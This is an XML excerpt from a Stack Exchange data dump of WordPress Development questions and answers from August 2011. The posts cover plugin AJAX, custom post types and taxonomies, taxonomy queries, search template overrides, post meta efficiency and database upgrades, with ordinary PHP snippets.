  <row Id="26251" PostTypeId="2" ParentId="26235" CreationDate="2011-08-18T15:06:52.503" Score="0" ViewCount="" Body="&lt;p&gt;Sidenote: Translation also adds (some MB) to the consumed memory.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-18T15:06:52.503" />
  <row Id="26253" PostTypeId="2" ParentId="26238" CreationDate="2011-08-18T15:31:38.607" Score="0" ViewCount="" Body="&lt;p&gt;I second what @Viruthagiri said. You can also use the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-my-login/&quot; rel=&quot;nofollow&quot;&gt;Theme My Login&lt;/a&gt; if you want to hide the real WordPress control panel from your users and only show them their own profile/edit profile page, themed just like your site. Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-18T15:31:38.607" />
  <row Id="26254" PostTypeId="1" CreationDate="2011-08-18T15:48:56.697" Score="1" ViewCount="35" Body="&lt;p&gt;I have a plugin which calls a stand-alone php script (myAjax.php) via a jQuery.ajax() script inside the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to place the following code into the myAjax.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once('../../../wp-load.php');&#xA;&#xA;if (!is_user_logged_in()){&#xA;    die(&quot;You Must Be Logged In to Access This&quot;);&#xA;}&#xA;if( ! current_user_can('edit_files')) {&#xA;    die(&quot;Sorry you are not authorized to access this file&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I'd like a more bulletproof method of specifying the path to wp-load.php in case the actual relative path is different than my example.&lt;/p&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-08-18T16:17:14.090" Title="How to include wp-load.php from any location?" Tags="&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="26255" PostTypeId="2" ParentId="26254" CreationDate="2011-08-18T16:00:01.920" Score="1" ViewCount="" Body="&lt;p&gt;Don't. &lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;Use AJAX the proper WordPress way&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-18T16:00:01.920" />
  <row Id="26256" PostTypeId="1" CreationDate="2011-08-18T16:00:46.663" Score="0" ViewCount="20" Body="&lt;p&gt;I am planning to develop a WordPress theme for a tourist region. This region is divided into 4 villages. The types of information I want to offer the visitor, for every &lt;strike&gt;people&lt;/strike&gt; village, is lodging, gastronomic, activities, tours and local festivals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like a structure like this: example.com/city-name/type-of-information/post-name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagined these types of information as custom post types (CPT). And each of them would have custom taxonomies (CT). For example, the CPT called &quot;lodging&quot; will have a CT &quot;Type&quot; with the terms Hotel, Bungalow, Campping, and so on. And another CT called &quot;Services&quot; with terms like dining room, refrigeration, parking... etcétera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you advise me to structure the information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had thought to create a Custom Page Template called Cities. In this I show the, say, 3 posts of each type of information with a link to &quot;view all&quot;. Then, another Custom Page Template called &quot;Type&quot; to show all lodging (or maybe accommodation... I don't know what best describes it in English) but always for a particular village.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you think I'd be doing things right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8000" LastActivityDate="2011-08-18T16:00:46.663" Title="need advice on a logical structure for a tourism theme" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;3.2&gt;&lt;structure&gt;" CommentCount="1" />
  <row Id="26257" PostTypeId="2" ParentId="26246" CreationDate="2011-08-18T16:04:43.023" Score="2" ViewCount="" Body="&lt;p&gt;Couldn't see a download link on the Github page for downloading single files(i don't use it so maybe i'm just not seeing it). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can download single files for WordPress from trac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-admin/admin-header.php&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-admin/admin-header.php&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scroll to the bottom of the page(or hit the &lt;kbd&gt;End&lt;/kbd&gt; key),&lt;br&gt;&#xA;look for the text &quot;&lt;strong&gt;Download in other formats:&lt;/strong&gt;&quot;&lt;br&gt;&#xA;click the &quot;&lt;strong&gt;Original Format&lt;/strong&gt;&quot; link below that text to download the single file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't hurt to have options right.. ;)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-08-18T16:04:43.023" />
  <row Id="26258" PostTypeId="1" CreationDate="2011-08-18T16:07:52.137" Score="0" ViewCount="30" Body="&lt;p&gt;Am a noob here but really hope some one can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've 3 new taxonomies:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;new cats (cat a,cat b, cat c etc) &lt;/li&gt;&#xA;&lt;li&gt;months (dec-jan,feb-mar,apr-may,jun-july etc)&lt;/li&gt;&#xA;&lt;li&gt;years (2009,2010,2011)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At the moment I've got posts assigned to each. And the result page looks like:   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2009 &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Jun-Jul  &lt;/li&gt;&#xA;&lt;li&gt;-- Post 1  &lt;/li&gt;&#xA;&lt;li&gt;-- Post 2   &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;2010  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Aug-Sept&lt;/li&gt;&#xA;&lt;li&gt;-- Post 3&lt;/li&gt;&#xA;&lt;li&gt;-- Post 4&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hopefully, you get the jist!? This works exactly how I need it. Problem is, I know need to set it by category, so if you click into cat a, it shows those posts, if I click cat b, it would show all posts only assiged to cat c etc. My code (below) keeps listing the cat, then the year, then the month and then the post. I wish to make it cat specific but dont know how. Any help is really appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$cat_query = get_terms('new_cats', 'hide_empty=1');&#xA;?&amp;gt; &#xA;&#xA;&amp;lt;ul&amp;gt; &amp;lt;?php foreach( $cat_query as $newc ) : ?&amp;gt;     &#xA;    &amp;lt;li&amp;gt;  &#xA;&#xA;    &amp;lt;ahref=&quot;&amp;lt;?php echo get_term_link( $newc-&amp;gt;slug, 'new_cats' ); ?&amp;gt;&quot;&amp;gt;          &#xA;    &amp;lt;?php echo $newc-&amp;gt;name; ?&amp;gt;     &#xA;    &amp;lt;/a&amp;gt;    &#xA;&#xA;&amp;lt;?php $years_query = get_terms('years', 'hide_empty=1'); ?&amp;gt; &#xA;&amp;lt;ul&amp;gt; &amp;lt;?php foreach( $years_query as $year ) : ?&amp;gt;     &#xA;    &amp;lt;li&amp;gt;     &#xA;    &amp;lt;ahref=&quot;&amp;lt;?php echo get_term_link( $year-&amp;gt;slug, 'years' ); ?&amp;gt;&quot;&amp;gt;          &#xA;    &amp;lt;?php echo $year-&amp;gt;name; ?&amp;gt;     &#xA;    &amp;lt;/a&amp;gt;     &#xA;    &amp;lt;?php $months_query = get_terms('months', 'parent=0' ); ?&amp;gt;         &#xA;        &amp;lt;ul&amp;gt;             &#xA;        &amp;lt;?php foreach ($months_query as $month) : ?&amp;gt;                 &#xA;            &amp;lt;?php $filter = array(                     &#xA;                                'posts_per_page' =&amp;gt; '-1',                     &#xA;                                'tax_query' =&amp;gt; array(                         &#xA;                                'relation' =&amp;gt; 'AND',                         &#xA;                            array(                             &#xA;                                'taxonomy' =&amp;gt; 'years',                             &#xA;                                'field' =&amp;gt; 'slug',                             &#xA;                                'terms' =&amp;gt; array($year-&amp;gt;slug),                         &#xA;                                ), &#xA;                            array(                             &#xA;                                'taxonomy' =&amp;gt; 'new_cats',                             &#xA;                                'field' =&amp;gt; 'slug',                             &#xA;                                'terms' =&amp;gt; array($newc-&amp;gt;slug),                         &#xA;                                ),                          &#xA;                            array(                             &#xA;                                'taxonomy' =&amp;gt; 'months',                             &#xA;                                'field' =&amp;gt; 'slug',                             &#xA;                                'terms' =&amp;gt; array($month-&amp;gt;slug),                         &#xA;                                )                     &#xA;                            )                 &#xA;                    );                 &#xA;        $tax_query = new WP_Query($filter);                     &#xA;        $count = 0;                 &#xA;        if ( $tax_query-&amp;gt;have_posts() ) : while ( $tax_query-&amp;gt;have_posts() ) : $tax_query-&amp;gt;the_post();                     &#xA;            $count++;                 &#xA;        endwhile; endif; &#xA;        wp_reset_postdata();     &#xA;        if ( $count &amp;gt; 0 ) : ?&amp;gt;                         &#xA;            &amp;lt;li&amp;gt;                             &#xA;            &amp;lt;a href=&quot;/?year=&amp;lt;?php echo $year-&amp;gt;slug ?&amp;gt;&amp;amp;month=&amp;lt;?php echo $month-&amp;gt;slug ?&amp;gt;&quot;&amp;gt;                                 &#xA;            - - &amp;lt;?php echo $month-&amp;gt;name; ?&amp;gt; (&amp;lt;?php echo $count; ?&amp;gt;)                             &#xA;            &amp;lt;/a&amp;gt;      &#xA;                &amp;lt;?php           &#xA;                $posts = $tax_query-&amp;gt;posts;&#xA;                echo &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;                foreach ($posts as $post) {&#xA;                    echo &quot;&amp;lt;li&amp;gt;&amp;lt;a href=\&quot;&quot;.get_permalink().&quot;\&quot;&amp;gt;&quot;.$post-&amp;gt;post_title.&quot;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;                }&#xA;                echo &quot;&amp;lt;/ul&amp;gt;&quot;;&#xA;                ?&amp;gt;                          &#xA;            &amp;lt;/li&amp;gt;             &#xA;        &amp;lt;?php endif; endforeach ?&amp;gt;         &#xA;        &amp;lt;/ul&amp;gt;                      &#xA;    &amp;lt;/li&amp;gt;            &#xA;&amp;lt;?php endforeach ?&amp;gt; &#xA;&amp;lt;/ul&amp;gt; &#xA;&amp;lt;?php endforeach ?&amp;gt; &#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8006" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-08-18T16:21:29.933" LastActivityDate="2011-08-18T16:21:29.933" Title="Show posts by specific taxonomy" Tags="&lt;multi-taxonomy-query&gt;" CommentCount="2" />
  <row Id="26259" PostTypeId="2" ParentId="26254" CreationDate="2011-08-18T16:17:14.090" Score="1" ViewCount="" Body="&lt;p&gt;To add to what Milo said, here are 2 great posts on the subject.&lt;br&gt;&#xA;&lt;a href=&quot;http://www.garyc40.com/2010/03/5-tips-for-using-ajax-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.garyc40.com/2010/03/5-tips-for-using-ajax-in-wordpress/&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://ottopress.com/2010/dont-include-wp-load-please/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2010/dont-include-wp-load-please/&lt;/a&gt;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also for the sake of learning, the first slideshow&#xA;&lt;a href=&quot;http://andrewnacin.com/2011/04/16/wordcamp-seattle/&quot; rel=&quot;nofollow&quot;&gt;http://andrewnacin.com/2011/04/16/wordcamp-seattle/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-18T16:17:14.090" />
  <row Id="26260" PostTypeId="1" CreationDate="2011-08-18T16:28:08.220" Score="-2" ViewCount="31" Body="&lt;p&gt;I generally hate themes that create functionality that impacts content.  The reason? If I switch themes it can be very painful to transition that content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins are great for this, but handling dozens upon dozens of plugins can be very painful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've always wondered why a meta-framework hasn't gained ground as a de facto standard.  For instance, Gravity Forms is considered the standard for Forms plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are numerous frameworks that perform some tasks, but no framework that tries to make it easier for developers/designers and creates a logical way to build upon a backend that could be utilized in any theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is would you use an all-purpose well designed theme framework that was GPL as a framework?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Benefits include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;GPL, Free &amp;amp; Supported Framework with Heavy Long Term Investment&lt;/li&gt;&#xA;&lt;li&gt;Copyrightable design (images and css would be the only thing needed to create child themes)&lt;/li&gt;&#xA;&lt;li&gt;Built in advanced functionality with easy to use hooks&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The answer in the theoretical would be great, but truth be told I have started a project called inboundpress.com for this framework.  Initially we are finishing a light plugin with some of the functionality, but if it gains traction we are going to launch the framework on KickStarter.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus the second question is more specific: are the features listed on inboundpress.com enticing to any designers or developers here?&lt;/p&gt;&#xA;" OwnerUserId="4481" LastActivityDate="2011-08-18T16:28:08.220" Title="How do you feel about Theme Frameworks?" Tags="&lt;themes&gt;&lt;framework&gt;" CommentCount="5" />
  <row Id="26261" PostTypeId="1" CreationDate="2011-08-18T16:57:53.710" Score="1" ViewCount="16" Body="&lt;p&gt;I'm integrating Mailchimp signup into a WP install and I have 2 questions. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is the best way or best plugin to integrate mailchimp signup?&lt;/li&gt;&#xA;&lt;li&gt;Is it possible to allow the user to select from multiple lists to be subscribed to.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I realize the latter is more closely related to MailChimp but I'm hoping that someone has an answer for that as well. &lt;/p&gt;&#xA;" OwnerUserId="7556" LastActivityDate="2011-08-18T18:56:15.050" Title="MailChimp integration that allows users to select from multiple lists" Tags="&lt;plugins&gt;&lt;integration&gt;&lt;plugin-mailchimp&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="26262" PostTypeId="1" CreationDate="2011-08-18T16:57:59.390" Score="0" ViewCount="57" Body="&lt;p&gt;There is a function in a theme that I am using that does some pagination stuff.  I do NOT want that function to show up on my home page (only), so I'm trying to set up an if/else statement but can't for the life of me can't get it to work right.  Using the following code, the function shows up not only on the homepage but also on the category pages.  I am using this code in my index.php file and my site is setup to show posts from a custom post type.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;    &amp;lt;div&amp;gt;My Loop Stuff Here&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php if (!( is_home() || is_front_page() )) : function_to_NOT_show_on_homepage(); endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php else: ?&amp;gt;&#xA;    [else stuffs]&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2011-08-18T22:30:56.477" Title="Exclude function from homepage only?" Tags="&lt;theme-development&gt;&lt;homepage&gt;&lt;get-template-part&gt;" AnswerCount="2" />
  <row Id="26263" PostTypeId="1" CreationDate="2011-08-18T17:05:54.650" Score="0" ViewCount="42" Body="&lt;p&gt;I'm building a portfolio site for a friend and he's got three seperate photo packages and may want to add more in the future, so I've created a custom post type called Packages so that he can add as many as he likes and they'd all appear on one page. I've created a single-packages.php template so that each package would link to a sinple.php page to show the full content, but when I add the 'more' tag within the editor it doesn't split the content and the packages page spews out everything rather than just showing the content before the 'more' tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on this much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;note - I'm not a PHP expert and so won't understand complex coding suggestions&lt;/p&gt;&#xA;" OwnerUserId="8007" LastActivityDate="2011-08-18T22:10:59.550" Title="Add a &lt;!--more--&gt; tag to a custom post type" Tags="&lt;custom-post-types&gt;&lt;more&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="26264" PostTypeId="2" ParentId="26262" CreationDate="2011-08-18T17:15:09.313" Score="0" ViewCount="" Body="&lt;p&gt;i think you need &lt;code&gt;&amp;lt;?php if (is_home()) { ?&amp;gt;&lt;/code&gt; this worked for me i dont think is_front_page is required&lt;/p&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-08-18T17:15:09.313" CommentCount="11" />
  <row Id="26265" PostTypeId="1" CreationDate="2011-08-18T17:41:58.023" Score="-5" ViewCount="29" Body="&lt;p&gt;I need to develop an online accounting software in Wordpress. Any idea if its possible or not?&lt;/p&gt;&#xA;" OwnerUserId="732" LastActivityDate="2011-08-18T18:44:55.283" Title="I need and online accounting software or CRM/ERP in wordpress" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="26266" PostTypeId="1" CreationDate="2011-08-18T17:43:50.547" Score="0" ViewCount="56" Body="&lt;p&gt;I really need your help my question is this, is it possible to relate to taxonomies? This is My Problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sample:&#xA;My post type is &quot;show&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;taxonomies and the categories&lt;/p&gt;&#xA;&#xA;&lt;p&gt;location (Taxonomy)&lt;br&gt;&#xA;Categories                 &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;california               &lt;/li&gt;&#xA;&lt;li&gt;alaska                  &lt;/li&gt;&#xA;&lt;li&gt;new york                 &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;genre (Taxonomy)&#xA;Categories &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;comedy&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;broadway&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;romance&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;note: each location has 3 genres to choose&#xA;for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;california (comedy, broadway, romance)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;alaska (comedy, broadway, romance)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;newyork (comedy, broadway, romance)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my question is how will make a query like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;displaying all &quot;comedy&quot; shows on &quot;california&quot; location&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or something like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;displaying all &quot;romance&quot; shows on &quot;alaska&quot; location&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if u can send me codes for this ill be gladly appreciate it, i will try to analyze the stuff&lt;/p&gt;&#xA;&#xA;&lt;p&gt;again thanks alot&lt;/p&gt;&#xA;" OwnerUserId="8008" LastEditorUserId="8008" LastEditorDisplayName="" LastEditDate="2011-08-18T17:51:39.510" LastActivityDate="2011-08-23T18:13:23.757" Title="How to relate to 2 taxonomy with category" Tags="&lt;taxonomy&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26268" PostTypeId="1" AcceptedAnswerId="26271" CreationDate="2011-08-18T18:16:05.927" Score="0" ViewCount="47" Body="&lt;p&gt;I'm working on a plug-in which will override the search results returned by Wordpress, with results from a custom XML feed. However, I'm not looking to do this on a separate page, but to  replace the results Wordpress would normally display on the blogs search page with the results from my XML feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been unable to find a filter or hook which would allow me to intercept or override the results wordpress returns, nor can I find one which allows me to override what is displayed on the page. My first thought was to look for something similar to &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference/the_content&quot; rel=&quot;nofollow&quot;&gt;the_content&lt;/a&gt;, but I'm unable to locate anything similar to that for use in this situation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plug-in is going to be used by sales staff, so  the plug-in needs to work in such a way that it requires as little work and technical knowledge as possible on the part of installer. My reasoning for wanting to override the results instead of inserting a new widget is that I want the plug-in to use the same search form the theme uses by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even possible? If so, how would I go about doing it? &lt;/p&gt;&#xA;" OwnerUserId="4990" LastEditorUserId="4990" LastEditorDisplayName="" LastEditDate="2011-08-18T20:52:33.950" LastActivityDate="2011-08-18T20:52:33.950" Title="How can I replace the search results displayed by Wordpress?" Tags="&lt;plugin-development&gt;&lt;search&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="26269" PostTypeId="1" AcceptedAnswerId="26273" CreationDate="2011-08-18T18:32:30.177" Score="0" ViewCount="28" Body="&lt;p&gt;I've just developed a calendar plugin.&lt;br&gt;&#xA;To display a calendar in a template, I call &lt;code&gt;do_shortcode(args...);&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can I call a function from my plugin that will return data?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to use &lt;code&gt;include_once&lt;/code&gt; - I really just want to call a function E.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$events = calendar-&amp;gt;getEvents(args...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-08-18T18:52:29.973" Title="How can I call plugin function from a custom template?" Tags="&lt;plugins&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="26270" PostTypeId="2" ParentId="25860" CreationDate="2011-08-18T18:38:53.383" Score="0" ViewCount="" Body="&lt;p&gt;Ok, so I figured out half of the solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code lists categories by last update; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php &#xA;        $cat_array = array();&#xA;        $args=array(&#xA;          'post_type' =&amp;gt; 'post',&#xA;          'post_status' =&amp;gt; 'publish',&#xA;          'posts_per_page' =&amp;gt; 10,&#xA;          'caller_get_posts'=&amp;gt; 1&#xA;          );&#xA;        $my_query = null;&#xA;        $my_query = new WP_Query($args);&#xA;        if( $my_query-&amp;gt;have_posts() ) {&#xA;          while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post();&#xA;            $cat_args=array('orderby' =&amp;gt; 'none');&#xA;            $cats = wp_get_post_terms( $post-&amp;gt;ID , 'category', $cat_args);&#xA;            foreach($cats as $cat) {&#xA;              $cat_array[$cat-&amp;gt;term_id] = $cat-&amp;gt;term_id;&#xA;            }&#xA;          endwhile;&#xA;        }&#xA;        if ($cat_array) {&#xA;          foreach($cat_array as $cat) {&#xA;            $category = get_term_by('ID',$cat, 'category');&#xA;            echo '&amp;lt;a href=&quot;' . esc_attr(get_term_link($category, 'category')) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $category-&amp;gt;name ) . '&quot; ' . '&amp;gt;' . $category-&amp;gt;name.'&amp;lt;/a&amp;gt;'.'&amp;lt;br /&amp;gt;';&#xA;          }&#xA;        }&#xA;        wp_reset_query();&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I'm not sure how I can make it display the corresponding image to the category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With category X, it should display the image belonging to the latest post in that category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can help with this? &#xA;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-08-18T18:38:53.383" />
  <row Id="26271" PostTypeId="2" ParentId="26268" CreationDate="2011-08-18T18:42:07.783" Score="4" ViewCount="" Body="&lt;p&gt;You can use template_include filter hook to check if the current call is a search call and if so include your own template in which you can do what ever you want :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('template_include','my_custom_search_template');&#xA;&#xA;function my_custom_search_template($template){&#xA;    global $wp_query;&#xA;    if (!$wp_query-&amp;gt;is_search)&#xA;        return $template&#xA;&#xA;    return dirname( __FILE__ ) . '/my_search_template.php';&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-18T18:42:07.783" CommentCount="4" />
  <row Id="26272" PostTypeId="2" ParentId="26265" CreationDate="2011-08-18T18:44:55.283" Score="1" ViewCount="" Body="&lt;p&gt;You can develop whatever you want.&lt;br&gt;&#xA;Myself is developing a website where I only use WP user registration and menu management for pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost all my pages are custom templates getting / storing data in custom DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MAybe you should find an Open Source Accounting system and see how you can integrate this with Wordpress?&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-08-18T18:44:55.283" CommentCount="3" />
  <row Id="26273" PostTypeId="2" ParentId="26269" CreationDate="2011-08-18T18:52:29.973" Score="1" ViewCount="" Body="&lt;p&gt;As long as the plugin is active, the function will work perfectly fine from any template.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-08-18T18:52:29.973" CommentCount="2" />
  <row Id="26275" PostTypeId="2" ParentId="26261" CreationDate="2011-08-18T18:56:15.050" Score="0" ViewCount="" Body="&lt;p&gt;Mailchimp develops a plugin for wordpress......http://connect.mailchimp.com/&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-18T18:56:15.050" CommentCount="2" />
  <row Id="26276" PostTypeId="1" CreationDate="2011-08-18T19:19:08.950" Score="0" ViewCount="48" Body="&lt;p&gt;I have a custom post type for a real estate site, and the theme displays 9 properties in a grid on the home page. I don't think its written terribly efficiently - I'm getting about 160 queries on the front page, and only about 20 of those queries are from plugins, so the theme needs some improvement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first place, it includes a file in the post loop - I'm not a PHP expert, but is including the same file repeatedly in the post loop really the best thing to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file that is included simply calls get_post_meta() for about a dozen or so variables for the custom post property listing (eg, number of bedrooms, etc). My first proposal is to move that section of code into the main file so its not &quot;included&quot; over and over. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But more importantly, is there a better way to get the post meta than to call get_post_meta() a dozen times for a dozen variables - perhaps with a single query that gets all the meta at once, which I can assign to an array?&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-08-18T19:42:06.763" Title="How can I get_post_meta() in the most efficient way?" Tags="&lt;custom-post-types&gt;&lt;get-post-meta&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26277" PostTypeId="1" CreationDate="2011-08-18T18:48:57.930" Score="1" ViewCount="65" Body="&lt;p&gt;I'm trying to migrate an old wordpress site to a new host - the old installation hasn't been updated for a while and is still on 2.6.5 while the new install is 3.2.1 (current).  Unfortunately the old front end is currently not working, so I can't use anything there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if there's a tool or way to update the existing 2.6.5 database to be compatible with 3.2.1 so that I can just load all of the existing data into the new system via a SQL query.&lt;/p&gt;&#xA;" OwnerUserId="8012" LastEditorUserId="8012" LastEditorDisplayName="" LastEditDate="2011-08-18T19:31:45.567" LastActivityDate="2011-08-21T07:00:50.220" Title="Upgrade Wordpress Database from 2.6 to 3.2" Tags="&lt;3.2&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" />
  <row Id="26278" PostTypeId="1" CreationDate="2011-08-18T19:35:40.177" Score="0" ViewCount="25" Body="&lt;p&gt;If you go to this site: &lt;a href=&quot;http://www.ec-ohio.com&quot; rel=&quot;nofollow&quot;&gt;http://www.ec-ohio.com&lt;/a&gt; and click on one of the links in the Directory (left column of homepage) you generate a page with listings, and at the top of each page there's 3 links that let you sort the page content by city, county or product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to rebuild the site in WP, but am wondering how to enable that kind of sorting. I was going to enter the listings via custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="5686" LastActivityDate="2011-08-23T22:46:41.073" Title="Best way to enable sorting by 3 criteria on a page of listings" Tags="&lt;posts&gt;&lt;customization&gt;&lt;type&gt;" AnswerCount="1" />
